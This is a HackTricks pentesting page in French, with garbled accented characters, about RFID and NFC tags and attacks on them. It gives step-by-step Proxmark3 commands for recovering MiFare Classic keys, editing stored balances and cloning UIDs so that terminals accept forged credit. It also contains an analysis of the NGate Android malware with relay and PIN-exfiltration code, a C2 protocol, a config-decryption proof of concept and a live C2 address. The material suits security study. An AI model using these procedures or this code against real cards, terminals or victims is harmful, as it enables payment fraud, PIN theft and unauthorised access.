Pentesting RFID
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Introduction
Radio Frequency Identification (RFID) est la solution radio courte portée la plus répandue. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité.
Une Ă©tiquette RFID peut sâappuyer sur sa propre source dâalimentation (active), comme une batterie intĂ©grĂ©e, ou recevoir son alimentation depuis lâantenne de lecture grĂące au courant induit par les ondes radio reçues (passive).
Classes
EPCglobal divise les tags RFID en six catégories. Un tag de chaque catégorie possÚde toutes les capacités listées dans la catégorie précédente, ce qui le rend rétrocompatible.
- Class 0 tags are passive tags that operate in UHF bands. The vendor preprograms them at the production factory. As a result, you canât change the information stored in their memory.
- Class 1 tags can also operate in HF bands. In addition, they can be written only once after production. Many Class 1 tags can also process cyclic redundancy checks (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection.
- Class 2 tags can be written multiple times.
- Class 3 tags can contain embedded sensors that can record environmental parameters, such as the current temperature or the tagâs motion. These tags are semi-passive, because although they have an embedded power source, such as an integrated battery, they canât initiate wireless communication with other tags or readers.
- Class 4 tags can initiate communication with other tags of the same class, making them active tags.
- Class 5 tags can provide power to other tags and communicate with all the previous tag classes. Class 5 tags can act as RFID readers.
Informations stockées dans les tags RFID
La mĂ©moire dâun tag RFID stocke gĂ©nĂ©ralement quatre types de donnĂ©es : les donnĂ©es dâidentification, qui identifient lâentitĂ© Ă laquelle le tag est attachĂ© (ces donnĂ©es incluent des champs dĂ©finis par lâutilisateur, comme des comptes bancaires) ; les donnĂ©es supplĂ©mentaires, qui fournissent des informations complĂ©mentaires concernant lâentitĂ© ; les donnĂ©es de contrĂŽle, utilisĂ©es pour la configuration interne du tag ; et les donnĂ©es fabricant, qui contiennent lâUnique Identifier (UID) du tag et des informations sur la production, le type et le vendeur du tag. Les deux premiers types de donnĂ©es se retrouvent dans tous les tags commerciaux ; les deux derniers peuvent varier selon le fournisseur du tag.
La norme ISO spĂ©cifie la valeur Application Family Identifier (AFI), un code qui indique le type dâobjet auquel le tag appartient. Un autre registre important, Ă©galement spĂ©cifiĂ© par ISO, est le Data Storage Format Identifier (DSFID), qui dĂ©finit lâorganisation logique des donnĂ©es utilisateur.
La plupart des mĂ©canismes de sĂ©curitĂ© RFID restreignent les opĂ©rations de lecture ou dâĂ©criture sur chaque bloc mĂ©moire utilisateur ainsi que sur les registres spĂ©ciaux contenant les valeurs AFI et DSFID. Ces mĂ©canismes de verrouillage utilisent des donnĂ©es stockĂ©es dans la mĂ©moire de contrĂŽle et ont des mots de passe par dĂ©faut prĂ©configurĂ©s par le fabricant, mais permettent aux propriĂ©taires des tags de configurer des mots de passe personnalisĂ©s.
Comparaison des tags basse et haute fréquence
.png)
Low-Frequency RFID Tags (125kHz)
Les tags basse frĂ©quence sont souvent utilisĂ©s dans des systĂšmes qui nâexigent pas une sĂ©curitĂ© Ă©levĂ©e : contrĂŽle dâaccĂšs aux bĂątiments, interphones, cartes dâabonnement de salle de sport, etc. En raison de leur portĂ©e plus Ă©levĂ©e, ils sont pratiques pour les parkings payants : le conducteur nâa pas besoin dâapprocher la carte du lecteur, car elle est dĂ©tectĂ©e de plus loin. En mĂȘme temps, les tags basse frĂ©quence sont trĂšs primitifs et ont un faible dĂ©bit de donnĂ©es. Pour cette raison, il est impossible dâimplĂ©menter des Ă©changes de donnĂ©es bidirectionnels complexes pour des fonctions comme la gestion de solde ou la cryptographie. Les tags basse frĂ©quence ne transmettent que leur identifiant court sans aucun moyen dâauthentification.
Ces dispositifs reposent sur la technologie RFID passive et opĂšrent dans une plage de 30 kHz Ă 300 kHz, bien quâil soit plus courant dâutiliser 125 kHz Ă 134 kHz :
- Long Range â une frĂ©quence plus basse se traduit par une portĂ©e plus grande. Il existe des lecteurs EM-Marin et HID fonctionnant Ă une distance allant jusquâĂ un mĂštre. Ils sont souvent utilisĂ©s dans les parkings.
- Primitive protocol â en raison du faible dĂ©bit de donnĂ©es, ces tags ne peuvent transmettre que leur identifiant court. Dans la plupart des cas, les donnĂ©es ne sont pas authentifiĂ©es et ne sont protĂ©gĂ©es dâaucune maniĂšre. DĂšs que la carte est Ă portĂ©e du lecteur, elle commence simplement Ă transmettre son ID.
- Low security â Ces cartes peuvent ĂȘtre facilement copiĂ©es, ou mĂȘme lues dans la poche de quelquâun dâautre Ă cause du cĂŽtĂ© primitif du protocole.
Popular 125 kHz protocols:
- EM-Marin â EM4100, EM4102. Le protocole le plus populaire dans la CIS. Peut ĂȘtre lu Ă environ un mĂštre grĂące Ă sa simplicitĂ© et sa stabilitĂ©.
- HID Prox II â protocole basse frĂ©quence introduit par HID Global. Ce protocole est plus rĂ©pandu dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement chers.
- Indala â protocole basse frĂ©quence trĂšs ancien introduit par Motorola, puis acquis par HID. Vous ĂȘtes moins susceptible de le rencontrer sur le terrain comparĂ© aux deux prĂ©cĂ©dents car il tend Ă disparaĂźtre.
En rĂ©alitĂ©, il existe beaucoup dâautres protocoles basse frĂ©quence. Mais ils utilisent tous la mĂȘme modulation au niveau physique et peuvent ĂȘtre considĂ©rĂ©s, dâune maniĂšre ou dâune autre, comme des variantes de ceux listĂ©s ci-dessus.
Attack
Vous pouvez attaquer ces Tags avec le Flipper Zero :
High-Frequency RFID Tags (13.56 MHz)
Les tags haute frĂ©quence sont utilisĂ©s pour une interaction lecteur-tag plus complexe lorsque vous avez besoin de cryptographie, dâun transfert de donnĂ©es bidirectionnel important, dâauthentification, etc.
On les trouve gĂ©nĂ©ralement dans les cartes bancaires, les transports publics et dâautres passes sĂ©curisĂ©s.
Les tags haute frĂ©quence 13.56 MHz sont un ensemble de normes et de protocoles. On les dĂ©signe souvent par NFC, mais ce nâest pas toujours correct. Lâensemble de protocoles de base utilisĂ© aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que des normes alternatives (comme ISO 19092), sâappuient sur celui-ci. Beaucoup de gens appellent cette technologie Near Field Communication (NFC), un terme pour les dispositifs opĂ©rant sur la frĂ©quence 13.56 MHz.
.png)
Pour simplifier, lâarchitecture NFC fonctionne ainsi : le protocole de transmission est choisi par lâentreprise qui fabrique les cartes et implĂ©mentĂ© sur la base du niveau bas ISO 14443. Par exemple, NXP a inventĂ© son propre protocole de transmission de haut niveau appelĂ© Mifare. Mais au niveau infĂ©rieur, les cartes Mifare sont basĂ©es sur la norme ISO 14443-A.
Flipper peut interagir Ă la fois avec le protocole bas niveau ISO 14443, ainsi quâavec le protocole de transfert de donnĂ©es Mifare Ultralight et EMV utilisĂ© dans les cartes bancaires. Nous travaillons Ă ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et standards qui composent NFC mĂ©rite un article sĂ©parĂ© que nous prĂ©voyons de publier ultĂ©rieurement.
Toutes les cartes haute frĂ©quence basĂ©es sur la norme ISO 14443-A ont un identifiant de puce unique. Il sert de numĂ©ro de sĂ©rie de la carte, comme lâadresse MAC dâune carte rĂ©seau. GĂ©nĂ©ralement, lâUID fait 4 ou 7 octets, mais il peut rarement aller jusquâĂ 10. Les UID ne sont pas secrets et sont facilement lisibles, parfois mĂȘme imprimĂ©s sur la carte elle-mĂȘme.
De nombreux systĂšmes de contrĂŽle dâaccĂšs reposent sur lâUID pour authentifier et accorder lâaccĂšs. Parfois cela se produit mĂȘme lorsque les tags RFID supportent la cryptographie. Un tel mauvais usage les ramĂšne au niveau des simples cartes 125 kHz en termes de sĂ©curitĂ©. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriĂ©taires de tĂ©lĂ©phones nâouvrent pas des portes avec leur application de paiement.
- Low range â les cartes haute frĂ©quence sont spĂ©cialement conçues pour devoir ĂȘtre placĂ©es prĂšs du lecteur. Cela aide aussi Ă protĂ©ger la carte des interactions non autorisĂ©es. La portĂ©e de lecture maximale que nous avons rĂ©ussi Ă obtenir Ă©tait dâenviron 15 cm, et câĂ©tait avec des lecteurs haute portĂ©e faits sur mesure.
- Advanced protocols â des vitesses de transfert jusquâĂ 424 kbps permettent des protocoles complexes avec un transfert de donnĂ©es bidirectionnel complet. Ce qui permet la cryptographie, le transfert de donnĂ©es, etc.
- High security â les cartes sans contact haute frĂ©quence nâont rien Ă envier aux smart cards. Il existe des cartes qui supportent des algorithmes cryptographiquement forts comme AES et implĂ©mentent la cryptographie asymĂ©trique.
Attack
Vous pouvez attaquer ces Tags avec le Flipper Zero :
Or using the proxmark:
MiFare Classic offline stored-value tampering (broken Crypto1)
When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXPâs deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).
End-to-end workflow (abstracted):
- Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
Cela récupÚre généralement les clés de secteur (A/B) et génÚre un dump complet de la carte dans le dossier client dumps.
- Localiser et comprendre les champs value/integrity
- Effectuez des recharges légitimes sur la carte originale et prenez plusieurs dumps (avant/aprÚs).
- Faites un diff des deux dumps pour identifier les blocks/bytes qui changent et qui reprĂ©sentent le solde et les Ă©ventuels champs dâintĂ©gritĂ©.
- De nombreux dĂ©ploiements Classic utilisent soit lâencodage natif âvalue blockâ, soit implĂ©mentent leurs propres checksums (p.ex. XOR du solde avec un autre champ et une constante). AprĂšs avoir modifiĂ© le solde, recalculer les bytes dâintĂ©gritĂ© en consĂ©quence et assurez-vous que tous les champs dupliquĂ©s/complĂ©mentĂ©s sont cohĂ©rents.
- Ăcrire le dump modifiĂ© sur une Classic tag âChinese magicâ inscriptible
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
- Cloner lâUID original pour que les terminaux reconnaissent la carte
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
- Utilisation aux terminaux
Les lecteurs qui font confiance au solde stocké sur la carte et au UID accepteront la carte manipulée. Les observations de terrain montrent que de nombreuses installations plafonnent les soldes en fonction de la largeur du champ (par ex., virgule fixe 16-bit).
Notes
- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
- Pour les formats personnalisĂ©s avec des checksums simples, lâanalyse diffĂ©rentielle est le moyen le plus rapide pour dĂ©river la fonction dâintĂ©gritĂ© sans reverse-engineering du firmware.
- Only UID-changeable tags (âChinese magicâ gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
For hands-on Proxmark3 commands, see:
Construire un cloner mobile portable HID MaxiProx 125 kHz
Si vous avez besoin dâune solution Ă longue portĂ©e, alimentĂ©e par batterie pour harvesting des badges HID ProxÂź lors dâengagements red-team, vous pouvez convertir le lecteur mural HID MaxiProx 5375 en un cloner autonome qui tient dans un sac Ă dos. La procĂ©dure complĂšte mĂ©canique et Ă©lectrique est disponible ici:
Relais NFC/EMV via Android ReaderâHCE Emitter
Un relai EMV Classic peut ĂȘtre implĂ©mentĂ© avec 2 appareils Android : un reader cĂŽtĂ© victime qui capture les APDUs en direct et le PIN dâune carte rĂ©elle, et un Ă©metteur HCE cĂŽtĂ© attaquant au terminal qui retransmet les APDUs en amont. Le kit NGate analysĂ© abuse des API NFC Android lĂ©gitimes et dâun simple C2 TCP framed pour orchestrer des cash-outs ATM en temps rĂ©el.
Key building blocks
- Reader-mode app (victim): utilise les NFC reader APIs pour analyser lâEMV (PAN/expiry/AIDs), affiche le scheme selon lâAID, demande le PIN et exfiltre immĂ©diatement.
- Emitter-mode app (ATM side): implémente Host Card Emulation (HCE) avec
android:requireDeviceUnlock="false"et un payment AID;processCommandApdu()achemine les APDUs vers le C2 et renvoie une réponse minimale. - Wire protocol: trames préfixées par la longueur, keepalive périodique; optionally TLS.
Android surface (Manifest/HCE)
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>
Exemple hce.xml (sans déverrouillage + payment AID)
<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>
Point de relais transparent (HCE)
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}
Inférence du scheme EMV par AID (exemples)
- A000000004 â Mastercard
- A000000003 â Visa
- A000000658 â MIR
- A000000333 â UnionPay
Schéma de PIN harvesting (UI victime)
// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));
Framed C2 (cleartext example)
- ClientâServeur: int32 len | int32 opcode | body
- ServeurâClient: int32 len | body (opcode Ă lâintĂ©rieur du payload)
- Refuser les bodies > ~100 MiBâŻ; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);
Dissimulation de la configuration : XOR dérivé du certificat
- Native lib dĂ©rive une clĂ© de 32 octets comme SHAâ256 du certificat de signature de lâapp (DER).
- La config C2 est en ASCIIâhex dans assets (par ex.,
assets/____), dĂ©codĂ©e de lâhex et XORâĂ©e avec la clĂ© rĂ©pĂ©tĂ©e tous les 32 octets :
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
PoC hors ligne pour déchiffrer la config
# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))
Sample decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.
ChaĂźne de relais (de bout en bout)
- La victime installe lâAPK, ouvre lâapplication â lâinit native dĂ©crypte la config depuis assets.
- Lâapplication se connecte au C2 (p. ex.,
91.84.97.13:5653) en utilisant framed TCP ; keepalive ~7s. - La victime approche la carte â le reader extrait PAN/expiry/AIDs et envoie CARD_DISCOVERED.
- La victime saisit le PIN â le keypad publie et exfiltre via PIN_REQ ; le serveur rĂ©pond VALID/INVALID uniquement pour lâUI.
- Le dispositif de lâattaquant au terminal exĂ©cute un Ă©metteur HCE relayant les APDUs vers lâATM et effectue le cash-out.
Références
- https://blog.flipperzero.one/rfid/
- Letâs Clone a Cloner â Part 3 (TrustedSec)
- NXP statement on MIFARE Classic Crypto1
- MIFARE security overview (Wikipedia)
- NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)
- Analysis of NGate malware campaign (CERT-PL)
- Android apksigner â verify/print-certs
- Android Host Card Emulation (HCE) overview
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


